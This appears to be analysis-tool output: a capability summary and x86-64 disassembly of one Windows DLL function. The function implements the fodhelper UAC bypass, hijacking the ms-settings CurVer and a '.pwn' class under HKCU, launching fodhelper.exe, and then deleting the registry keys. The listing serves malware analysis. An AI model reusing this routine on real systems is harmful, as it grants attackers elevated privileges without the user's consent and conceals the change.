Function at 0x180012390
Capabilities:
Create process on windows
Delete registry key
Persist via default file association registry key
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x770]
sub rsp, 0x870
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x820
call fcn.180018800
xor edi, edi
mov r8, rbx
mov dword [rsp + 0x28], edi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
lea r9d, [rdi - 1]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea r9d, [rdi - 1]
mov r8, rbx
add eax, eax
xor edx, edx
mov dword [rsp + 0x28], eax
xor ecx, ecx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rax, [rbp + 0x788]
mov dword [rbp + 0x788], edi
mov qword [rsp + 0x40], rax
lea rdx, str.SoftwareClasses.pwnShellOpencommand
lea rax, [rbp + 0x790]
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rdi
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1800124a8
lea rax, [rbp + 0x790]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareClasses.pwnShellOpencommand
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1800124a8
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp + 0x790]
lea r9d, [rdi + 1]
add eax, eax
lea rdx, [0x18004c694]
mov dword [rsp + 0x28], eax
xor r8d, r8d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rax, [rbp + 0x788]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rdx, str.SoftwareClassesms_settingsCurVer
lea rax, [rbp + 0x790]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x18001278b
lea rax, [rbp + 0x790]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareClassesms_settingsCurVer
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180012558
lea rbx, [0x18004c658]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp + 0x790]
lea rdx, [0x18004c694]
add eax, eax
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov bl, 1
jmp 0x18001255a
xor bl, bl
mov rcx, qword [rbp + 0x790]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
je 0x180012798
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], edi
lea r8, str.C:WindowsSystem32_fodhelper.exe
mov qword [rsp + 0x20], rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x788]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareClasses.pwnShellOpen
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1800125e3
mov rcx, qword [rbp + 0x788]
lea rdx, str.command
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov rcx, qword [rbp + 0x788]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x788]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareClasses.pwnShell
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180012631
mov rcx, qword [rbp + 0x788]
lea rdx, str.Open
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov rcx, qword [rbp + 0x788]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x788]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareClasses.pwn
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x18001267f
mov rcx, qword [rbp + 0x788]
lea rdx, str.Shell
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov rcx, qword [rbp + 0x788]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x788]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareClasses
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1800126cd
mov rcx, qword [rbp + 0x788]
lea rdx, str..pwn
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov rcx, qword [rbp + 0x788]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x788]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareClassesms_settings
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x18001271b
mov rcx, qword [rbp + 0x788]
lea rdx, str.CurVer
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov rcx, qword [rbp + 0x788]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x788]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareClasses
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180012769
mov rcx, qword [rbp + 0x788]
lea rdx, str.ms_settings
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov rcx, qword [rbp + 0x788]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r11, [rsp + 0x870]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov rcx, qword [rbp + 0x790]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]